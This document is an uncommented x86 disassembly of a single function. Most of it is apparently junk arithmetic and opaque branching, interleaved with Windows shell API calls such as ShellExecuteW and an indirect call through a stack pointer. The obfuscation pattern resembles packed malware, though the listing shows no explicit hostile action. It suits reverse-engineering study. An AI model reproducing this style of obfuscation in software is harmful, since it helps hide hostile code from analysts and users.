mov ecx, dword [ebp - 0x428]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x4ec]
sub edx, eax
mov word [ebp - 0x834], dx
movzx edx, byte [ebp - 0x7d1]
movzx ecx, byte [ebp - 0x6c5]
sar edx, cl
mov eax, dword [ebp - 0x7c4]
mov byte [eax], dl
mov ecx, dword [ebp - 0x694]
add ecx, 1
mov dword [ebp - 0x694], ecx
mov edx, dword [ebp - 0x7c0]
xor edx, dword [ebp - 0x46c]
mov dword [ebp - 0x6fc], edx
mov eax, dword [ebp - 0x530]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x828]
mov dword [ebp - 0x574], ecx
mov edx, dword [0x77366c]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x70c]
shl eax, cl
mov word [ebp - 0x440], ax
movzx ecx, word [ebp - 0x880]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x490], ax
movzx edx, byte [ebp - 0x4e1]
movzx eax, byte [ebp - 0x6b1]
add edx, eax
mov ecx, dword [0x773690]
mov byte [ecx], dl
mov edx, dword [ebp - 0x838]
mov eax, dword [edx]
and eax, dword [ebp - 0x77c]
mov dword [ebp - 0x698], eax
mov ecx, dword [ebp - 0x3d4]
add ecx, 1
mov dword [ebp - 0x3d4], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [edx]
sub eax, dword [ebp - 0x7a4]
mov ecx, dword [ebp - 0x4e8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x79c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x758]
add eax, dword [ecx]
mov dword [ebp - 0x3d8], eax
mov edx, dword [ebp - 0x838]
mov eax, dword [ebp - 4]
add eax, dword [edx]
mov dword [ebp - 0x884], eax
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x70c]
sub edx, eax
mov ecx, dword [ebp - 0x428]
mov word [ecx], dx
mov edx, dword [ebp - 0x7d0]
imul edx, edx, 0x7a43
mov dword [ebp - 0x7d0], edx
movzx eax, byte [ebp - 0x415]
mov ecx, dword [ebp - 0x6a8]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x6c5], al
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x450]
add ecx, dword [edx]
mov dword [ebp - 0x6f0], ecx
mov eax, dword [ebp - 0x7d0]
ror eax, 0x19
mov dword [ebp - 0x7d0], eax
mov ecx, dword [ebp - 0x7dc]
mov edx, dword [ebp - 0x840]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x808], eax
mov ecx, dword [ebp - 0x4ac]
and ecx, dword [ebp - 0x7a4]
mov edx, dword [0x773694]
mov dword [edx], ecx
movsx eax, word [ebp - 0x71c]
mov ecx, dword [ebp - 0x510]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x770], ax
mov eax, dword [ebp - 0x460]
add eax, 0x7968f
mov dword [ebp - 0x460], eax
mov ecx, dword [0x77366c]
movzx edx, word [ecx]
movzx ecx, word [ebp - 0x834]
shl edx, cl
mov word [ebp - 0x70c], dx
movzx eax, byte [ebp - 0x449]
movzx ecx, byte [ebp - 0x6c5]
or eax, ecx
mov byte [ebp - 0x6b1], al
jmp 0x4095bb
movsx edx, word [ebp - 0x770]
mov dword [ebp - 0x8fc], edx
cmp dword [ebp - 0x8fc], 0xfffffda0
je 0x409966
jmp 0x409c0a
mov eax, dword [ebp - 0x84c]
add eax, 0xa9
mov dword [ebp - 0x51c], eax
mov ecx, dword [ebp - 0x7ac]
add ecx, dword [ebp - 0x798]
mov dword [ebp - 0x3cc], ecx
mov edx, dword [ebp - 0x764]
and edx, dword [ebp - 0x83c]
mov eax, dword [ebp - 0x7dc]
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x3d8]
cmp edx, ecx
jl 0x4099c2
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x530]
mov dword [edx], ecx
jmp 0x409a13
mov eax, dword [ebp - 0x88c]
movsx ecx, word [eax]
mov edx, dword [ebp - 0x474]
movsx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x510]
movsx eax, word [edx]
movsx edx, word [ebp - 0x770]
add eax, edx
cmp ecx, eax
je 0x409a13
mov eax, dword [ebp - 0x42c]
mov ecx, dword [eax]
mov dword [ebp - 0x844], ecx
movzx edx, word [ebp - 0x440]
mov eax, dword [ebp - 0x850]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x4a4], dx
mov edx, dword [ebp - 0x49c]
add edx, 0xa9
mov dword [ebp - 0x518], edx
mov eax, dword [ebp - 0x528]
mov cl, byte [eax]
mov byte [ebp - 0x900], cl
cmp byte [ebp - 0x900], 0
je 0x409a4e
cmp byte [ebp - 0x900], 0x50
je 0x409bbd
jmp 0x409bd3
mov edx, dword [ebp - 0x6bc]
mov eax, dword [edx]
mov dword [ebp - 0x80c], eax
mov ecx, dword [ebp - 0x46c]
sub ecx, dword [ebp - 0x77c]
mov edx, dword [ebp - 0x6f8]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x82c], eax
movzx eax, word [ebp - 0x3e0]
movzx ecx, word [ebp - 0x754]
shl eax, cl
mov word [ebp - 0x4ec], ax
lea ecx, [ebp - 0x449]
mov dword [ebp - 0x3e8], ecx
mov edx, dword [ebp - 0x474]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x510]
movsx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x770], ax
lea eax, [ebp - 0x51c]
push eax
call dword [ebp - 0x84c]
movzx edx, byte [ebp - 0x7d1]
movzx ecx, byte [ebp - 0x4e1]
sar edx, cl
movzx eax, byte [ebp - 0x6b1]
movzx ecx, byte [ebp - 0x6c5]
or eax, ecx
cmp edx, eax
jg 0x409b7f
mov dl, byte [0x773669]
mov byte [ebp - 0x821], dl
mov eax, dword [ebp - 0x778]
mov cl, byte [eax]
mov byte [ebp - 0x904], cl
cmp byte [ebp - 0x904], 0
je 0x409b1d
cmp byte [ebp - 0x904], 0x21
je 0x409b67
jmp 0x409b7d
lea edx, [ebp - 0x884]
mov dword [0x77367c], edx
mov eax, dword [ebp - 0x450]
mov ecx, dword [ebp - 0x454]
add ecx, dword [eax]
mov dword [ebp - 0x464], ecx
mov edx, dword [0x773674]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3e8]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x435], al
mov ax, word [ebp - 0x4ec]
mov word [ebp - 0x4f0], ax
jmp 0x409b7d
mov ecx, dword [ebp - 0x704]
mov edx, dword [ebp - 0x574]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x448]
mov dword [eax], edx
jmp 0x409bbb
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x46d]
and edx, eax
mov ecx, dword [ebp - 0x778]
movsx eax, byte [ecx]
movsx ecx, byte [ebp - 0x769]
add eax, ecx
cmp edx, eax
jge 0x409bbb
mov edx, dword [0x773664]
mov eax, dword [edx]
add eax, dword [ebp - 0x7c0]
mov dword [ebp - 0x784], eax
jmp 0x409bd3
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x530]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x828], eax
movzx ecx, byte [ebp - 0x6b1]
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [0x773690]
mov byte [edx], cl
call fcn.00404d50
mov eax, dword [ebp - 0x480]
mov ecx, dword [0x773664]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x7d8], edx
jmp 0x409c20
mov eax, dword [ebp - 0x6f8]
mov ecx, dword [ebp - 0x4a8]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x3f4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3f4]
mov ecx, dword [ebp - 0x480]
mov edx, dword [eax]
mov ecx, dword [ecx]
shr edx, cl
mov eax, dword [ebp - 0x6a4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
push edx
mov eax, dword [0x773670]
movzx ecx, word [eax]
push ecx
movzx edx, word [ebp - 0x754]
push edx
movzx eax, byte [ebp - 0x6c5]
push eax
call fcn.0040a6c0
add esp, 0x10
movzx ecx, byte [ebp - 0x415]
push ecx
mov edx, dword [ebp - 0x7d8]
mov ecx, dword [ebp - 0x440]
call fcn.00404df0
mov edx, dword [0x7725d4]
and edx, dword [ebp - 0x434]
mov eax, dword [ebp - 0x42c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x6c4]
push ecx
mov edx, dword [ebp - 0x7dc]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x7a4]
push ecx
call fcn.00404e70
add esp, 0xc
jmp 0x409cc5
mov edx, dword [ebp - 0x714]
and edx, dword [ebp - 0x830]
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x474]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x71c]
sub ecx, edx
mov eax, dword [ebp - 0x474]
mov word [eax], cx
movsx ecx, byte [ebp - 0x42d]
movsx edx, byte [0x41d007]
sub ecx, edx
mov byte [ebp - 0x46d], cl
movzx eax, byte [ebp - 0x6b1]
movzx ecx, byte [ebp - 0x7d1]
or eax, ecx
mov byte [ebp - 0x435], al
movzx edx, word [ebp - 0x3e0]
mov eax, dword [ebp - 0x850]
movzx ecx, word [eax]
xor edx, ecx
mov word [ebp - 0x4ec], dx
mov edx, dword [0x773664]
mov eax, dword [ebp - 0x6f8]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x69c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x530]
mov edx, dword [ebp - 0x6c4]
mov ecx, dword [ecx]
shl edx, cl
mov dword [0x7725d4], edx
jmp 0x409e47
mov eax, dword [ebp - 0x6f8]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x6fc]
mov edx, dword [ebp - 0x488]
sub edx, dword [ebp - 0x4a8]
cmp ecx, edx
ja 0x409e47
mov eax, dword [ebp - 0x7c0]
add eax, dword [ebp - 0x768]
mov dword [ebp - 0x3f8], eax
mov ecx, dword [ebp - 0x454]
sub ecx, dword [0x7725d4]
mov edx, dword [ebp - 0x530]
mov dword [edx], ecx
mov eax, dword [ebp - 0x840]
mov ecx, dword [ebp - 0x530]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x798], edx
mov eax, dword [ebp - 0x798]
xor eax, dword [ebp - 0x830]
mov dword [ebp - 0x3d8], eax
mov ecx, dword [0x773670]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x428]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x440], dx
push 0xbf
mov ecx, dword [ebp - 0x48c]
push ecx
mov edx, dword [ebp - 0x404]
push edx
mov eax, dword [ebp - 0x87c]
push eax
mov ecx, dword [ebp - 0x7cc]
push ecx
mov edx, dword [ebp - 0x424]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov dword [ebp - 0x4b8], eax
movzx eax, byte [ebp - 0x449]
mov ecx, dword [ebp - 0x7c4]
movzx ecx, byte [ecx]
shl eax, cl
mov edx, dword [0x773690]
mov byte [edx], al
mov eax, dword [ebp - 0x6f8]
mov ecx, dword [ebp - 0x768]
and ecx, dword [eax]
mov dword [ebp - 0x3f8], ecx
mov edx, dword [ebp - 0x6bc]
mov eax, dword [edx]
sub eax, dword [ebp - 0x830]
mov ecx, dword [ebp - 0x6bc]
mov dword [ecx], eax
movsx edx, word [ebp - 0x71c]
movsx eax, word [ebp - 0x53c]
sub edx, eax
mov word [0x773688], dx
mov ecx, dword [ebp - 0x40c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x528]
movsx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x705], dl
movzx edx, byte [ebp - 0x435]
mov eax, dword [ebp - 0x7c4]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x7d1], dl
movzx edx, word [ebp - 0x4ec]
movzx eax, word [ebp - 0x70c]
and edx, eax
mov ecx, dword [ebp - 0x850]
mov word [ecx], dx
mov edx, dword [ebp - 0x6a4]
mov eax, dword [edx]
add eax, dword [ebp - 0x488]
mov dword [ebp - 0x698], eax
jmp 0x409f05
mov ecx, dword [ebp - 0x698]
sub ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x77c], ecx
mov edx, dword [ebp - 0x850]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x440]
xor eax, ecx
mov word [ebp - 0x4ec], ax
call fcn.0040a6f0
movzx edx, byte [ebp - 0x449]
movzx eax, byte [ebp - 0x435]
add edx, eax
mov byte [ebp - 0x7d1], dl
mov ecx, dword [ebp - 0x838]
mov edx, dword [ebp - 0x488]
add edx, dword [ecx]
mov dword [0x7725cc], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x714]
mov dword [ebp - 0x574], ecx
mov edx, dword [ebp - 0x758]
mov eax, dword [edx]
add eax, dword [ebp - 0x454]
mov ecx, dword [ebp - 0x840]
mov dword [ecx], eax
jmp 0x409f8c
mov edx, dword [ebp - 0x3f0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x7d1]
and eax, ecx
mov byte [ebp - 0x415], al
movzx edx, word [0x7725d0]
movzx eax, word [ebp - 0x440]
xor edx, eax
mov ecx, dword [ebp - 0x428]
mov word [ecx], dx
mov edx, dword [ebp - 0x6c4]
add edx, dword [ebp - 0x3d8]
mov eax, dword [ebp - 0x840]
mov dword [eax], edx
mov ecx, dword [ebp - 0x778]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x528]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x769], dl
movsx edx, word [ebp - 0x770]
mov eax, dword [ebp - 0x474]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x53c], dx
movzx edx, word [ebp - 0x4ec]
movzx ecx, word [ebp - 0x70c]
sar edx, cl
mov word [ebp - 0x754], dx
mov eax, dword [ebp - 0x77c]
xor eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3f8], eax
mov ecx, dword [ebp - 0x6f8]
mov edx, dword [ebp - 0x444]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ebp - 0x530]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x448]
mov dword [ecx], eax
movzx edx, word [ebp - 0x440]
movzx eax, word [ebp - 0x834]
and edx, eax
mov ecx, dword [ebp - 0x428]
mov word [ecx], dx
mov edx, dword [ebp - 0x7c4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x449]
sub eax, ecx
mov byte [ebp - 0x4e1], al
mov edx, dword [ebp - 0x7b4]
add edx, dword [ebp - 0x718]
mov dword [ebp - 0x3d8], edx
mov eax, dword [ebp - 0x6a4]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x46c], ecx
mov edx, dword [ebp - 0x840]
mov eax, dword [ebp - 0x798]
add eax, dword [edx]
mov ecx, dword [ebp - 0x448]
mov dword [ecx], eax
mov edx, dword [ebp - 0x574]
sub edx, dword [ebp - 0x828]
mov dword [ebp - 0x3d8], edx
movzx eax, word [ebp - 0x70c]
mov ecx, dword [0x773670]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x440], ax
mov eax, dword [ebp - 0x520]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x440]
sub ecx, edx
mov eax, dword [0x773670]
mov word [eax], cx
jmp 0x40a139
mov edx, dword [ebp - 0x77c]
mov ecx, dword [ebp - 0x46c]
shr edx, cl
mov dword [0x7725cc], edx
lea eax, [ebp - 0x42d]
push eax
call dword [sym.imp.SHELL32.dll_SHGetInstanceExplorer]
mov dword [ebp - 0x534], eax
mov ecx, dword [0x7725cc]
or ecx, dword [ebp - 0x46c]
mov edx, dword [ebp - 0x6a4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3f0]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x444]
mov edx, dword [edx]
mov eax, dword [ebp - 0x850]
mov cx, word [eax]
call fcn.00404df0
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x70c]
xor edx, eax
mov word [ebp - 0x4ec], dx
movzx ecx, word [ebp - 0x834]
push ecx
movzx edx, word [ebp - 0x4ec]
push edx
call fcn.00404e30
movzx eax, byte [ebp - 0x7d1]
movzx ecx, byte [ebp - 0x435]
shl eax, cl
mov byte [ebp - 0x6b1], al
jmp 0x40a1dc
mov ecx, dword [ebp - 0x530]
mov edx, dword [ecx]
add edx, dword [ebp - 0x464]
mov dword [ebp - 0x454], edx
mov eax, dword [ebp - 0x840]
mov ecx, dword [ebp - 0x4ac]
add ecx, dword [eax]
mov dword [ebp - 0x3d8], ecx
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x778]
movsx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x40c]
mov byte [ecx], al
movsx edx, word [ebp - 0x770]
mov eax, dword [ebp - 0x474]
movsx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x71c], dx
mov edx, dword [ebp - 0x7c4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x449]
sub eax, ecx
mov byte [ebp - 0x415], al
movzx edx, word [ebp - 0x440]
mov eax, dword [ebp - 0x520]
movzx ecx, word [eax]
sub edx, ecx
mov eax, dword [ebp - 0x428]
mov word [eax], dx
mov ecx, dword [ebp - 0x838]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x46c]
mov dword [0x7725cc], edx
mov eax, dword [ebp - 0x448]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x758]
mov dword [edx], ecx
call fcn.00404d50
mov eax, dword [ebp - 0x4ac]
and eax, dword [ebp - 0x798]
mov dword [ebp - 0x464], eax
movsx ecx, byte [ebp - 0x769]
mov edx, dword [ebp - 0x40c]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x778]
mov byte [edx], cl
mov eax, dword [ebp - 0x3d8]
sub eax, dword [ebp - 0x538]
mov dword [ebp - 0x780], eax
mov ecx, dword [ebp - 0x6bc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x830]
mov dword [ebp - 0x798], edx
movzx eax, word [0x773678]
movzx ecx, word [ebp - 0x70c]
sub eax, ecx
mov edx, dword [ebp - 0x520]
mov word [edx], ax
movzx eax, byte [ebp - 0x4e1]
mov ecx, dword [ebp - 0x4a0]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x7d1], al
mov eax, dword [ebp - 0x838]
mov ecx, dword [ebp - 0x6a4]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [0x7725cc], edx
mov eax, dword [ebp - 0x448]
mov edx, dword [ebp - 0x718]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0x474]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x71c]
xor ecx, edx
mov word [ebp - 0x53c], cx
push 0x3d
lea eax, [ebp - 0x6dc]
push eax
mov ecx, dword [ebp - 0x47c]
push ecx
mov edx, dword [ebp - 0x7cc]
push edx
mov eax, dword [ebp - 0x87c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetNewLinkInfoW]
mov dword [ebp - 0x7c8], eax
movsx edx, byte [ebp - 0x769]
mov eax, dword [ebp - 0x528]
movsx ecx, byte [eax]
sar edx, cl
mov ecx, dword [ebp - 0x778]
mov byte [ecx], dl
jmp 0x40a3b9
movzx edx, byte [ebp - 0x4e1]
movzx ecx, byte [ebp - 0x435]
shl edx, cl
mov eax, dword [ebp - 0x3f0]
mov byte [eax], dl
mov ecx, dword [ebp - 0x6a4]
mov edx, dword [ebp - 0x838]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [0x7725cc], eax
mov ecx, dword [ebp - 0x838]
mov edx, dword [ebp - 0x6a4]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x77c], eax
mov edx, dword [ebp - 0x4ac]
mov ecx, dword [ebp - 0x798]
sar edx, cl
mov dword [ebp - 0x408], edx
mov eax, dword [ebp - 0x420]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x464]
mov edx, dword [ebp - 0x6bc]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x7d1]
push eax
mov edx, dword [ebp - 0x488]
mov ecx, dword [ebp - 0x4ec]
call fcn.00404df0
movsx ecx, word [0x7725c8]
movsx edx, word [ebp - 0x71c]
add ecx, edx
mov word [ebp - 0x53c], cx
mov eax, dword [ebp - 0x778]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x528]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x705], cl
push 0x13
mov ecx, dword [ebp - 0x7cc]
push ecx
lea edx, [ebp - 0x6dc]
push edx
mov eax, dword [ebp - 0x810]
push eax
call dword [sym.imp.SHELL32.dll_SHPathPrepareForWriteW]
mov dword [ebp - 0x534], eax
mov ecx, dword [ebp - 0x520]
movzx edx, word [ecx]
mov eax, dword [0x773670]
movzx ecx, word [eax]
and edx, ecx
mov eax, dword [ebp - 0x520]
mov word [eax], dx
call fcn.0040a6f0
jmp 0x40a4d0
movzx ecx, word [0x773678]
mov edx, dword [ebp - 0x520]
movzx eax, word [edx]
and ecx, eax
mov word [ebp - 0x70c], cx
movzx ecx, word [ebp - 0x834]
movzx edx, word [ebp - 0x4ec]
add ecx, edx
mov eax, dword [0x773670]
mov word [eax], cx
mov ecx, dword [0x773670]
movzx edx, word [ecx]
push edx
movzx eax, word [ebp - 0x70c]
push eax
call fcn.00404e30
mov ecx, dword [ebp - 0x718]
sub ecx, dword [ebp - 0x538]
mov dword [ebp - 0x408], ecx
mov edx, dword [ebp - 0x838]
mov eax, dword [edx]
sub eax, dword [ebp - 0x77c]
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0x840]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x420]
add edx, dword [eax]
mov dword [ebp - 0x3d8], edx
mov ecx, dword [ebp - 0x69c]
mov edx, dword [ebp - 0x77c]
and edx, dword [ecx]
mov dword [ebp - 0x488], edx
lea eax, [ebp - 0x488]
push eax
lea ecx, [ebp - 0x854]
push ecx
lea edx, [ebp - 0x528]
push edx
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [ebp - 0x4c4], eax
mov ecx, dword [ebp - 0x798]
sub ecx, dword [ebp - 0x464]
mov edx, dword [ebp - 0x420]
mov dword [edx], ecx
mov eax, dword [ebp - 0x840]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x420]
add ecx, dword [edx]
mov dword [ebp - 0x798], ecx
mov eax, dword [ebp - 0x3f8]
add eax, dword [ebp - 0x77c]
mov dword [ebp - 0x488], eax
mov ecx, dword [ebp - 0x420]
mov edx, dword [ebp - 0x840]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x420]
mov dword [ecx], eax
jmp 0x40a5df
movsx edx, word [ebp - 0x71c]
movsx eax, word [ebp - 0x53c]
add edx, eax
movsx ecx, word [0x7725c8]
cmp edx, ecx
jne 0x40a5df
mov edx, dword [ebp - 0x420]
mov eax, dword [edx]
sub eax, dword [ebp - 0x434]
mov ecx, dword [ebp - 0x840]
mov dword [ecx], eax
movsx edx, word [ebp - 0x53c]
movsx eax, word [ebp - 0x71c]
add edx, eax
mov word [0x7725c8], dx
mov ecx, dword [ebp - 0x528]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x40c]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x705], dl
mov edx, dword [ebp - 0x3d8]
push edx
mov edx, dword [ebp - 0x71c]
mov eax, dword [ebp - 0x520]
mov cx, word [eax]
call fcn.00404d90
mov ecx, dword [ebp - 0x3f0]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x838]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4ec]
call fcn.00404df0
movzx ecx, word [ebp - 0x834]
movzx edx, word [ebp - 0x70c]
or ecx, edx
mov word [ebp - 0x4ec], cx
movsx eax, byte [ebp - 0x705]
mov ecx, dword [ebp - 0x528]
movsx edx, byte [ecx]
xor eax, edx
mov ecx, dword [ebp - 0x40c]
mov byte [ecx], al
movzx edx, word [ebp - 0x4ec]
movzx eax, word [ebp - 0x834]
and edx, eax
mov word [0x773678], dx
movzx ecx, byte [0x41d004]
movzx edx, byte [ebp - 0x449]
sub ecx, edx
mov byte [ebp - 0x4e1], cl
movzx eax, byte [0x41d004]
push eax
movzx ecx, word [ebp - 0x70c]
push ecx
movzx edx, word [ebp - 0x834]
push edx
movzx eax, byte [ebp - 0x449]
push eax
call fcn.0040a6c0
add esp, 0x10
jmp 0x40a696
mov ecx, dword [ebp - 0x830]
add ecx, 0x2fbc
mov dword [ebp - 0x830], ecx
movzx edx, byte [ebp - 0x449]
xor edx, 0x7f
mov byte [ebp - 0x449], dl
mov ecx, dword [ebp - 0x4ec]
call fcn.0040a740
mov eax, dword [ebp - 0x434]
pop edi
pop esi
mov esp, ebp
pop ebp
ret